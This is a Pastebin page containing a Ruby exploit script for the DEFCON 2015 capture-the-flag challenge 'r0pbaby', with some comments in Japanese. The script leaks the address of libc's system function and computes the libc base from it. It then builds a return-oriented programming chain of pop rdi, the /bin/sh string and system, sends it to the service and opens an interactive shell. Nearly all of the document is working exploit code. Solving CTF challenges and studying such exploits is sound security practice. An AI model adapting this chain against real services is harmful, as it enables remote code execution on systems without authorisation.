Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #coding: ascii-8bit
- # DEFCON2015 r0pbaby
- # https://github.com/Charo-IT/pwnlib.git
- require_relative 'pwnlib.rb'
- libc_system_offset = 0x46640 #=> system offset
- libc_binsh_offset = 0x17ccdb #=> /bin/sh offset
- libc_pop_rdi_offset = 0x22b1a #=> x86_64では,関数の第一引数の受け渡しにレジスタrdiを使うからこれを探した
- libc_pop_rdi_offset = 0x22b31 #=> だからpop rdi; retならどれでもよかったっぽい(いろいろ試してた)
- host = "localhost"
- port = 114514
- PwnTube.open(host, port){|tube|
- # libc base
- tube.send("2\n")
- tube.send("system\n")
- system = tube.recv_capture(/Symbol system: (0x[0-9A-F]+)\n/)[0]
- libc_base = system.to_i(16) - libc_system_offset
- puts "libc_base = 0x#{libc_base.to_s(16)}"
- # exploit作成
- payload = ""
- payload << "A" * 8 #=> retする時のespが指す値が入力文字列 + 8の部分だったからパディングした
- payload << [libc_base + libc_pop_rdi_offset].pack("Q")
- payload << [libc_base + libc_binsh_offset].pack("Q")
- payload << [system.to_i(16)].pack("Q")
- # exploitコードの配置
- tube.send("3\n")
- tube.send("#{payload.length + 1}\n") #=> \nのために1byte追加してる
- tube.send(payload + "\n")
- # exploitコードの実行
- tube.send("4\n")
- tube.recv
- tube.shell
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement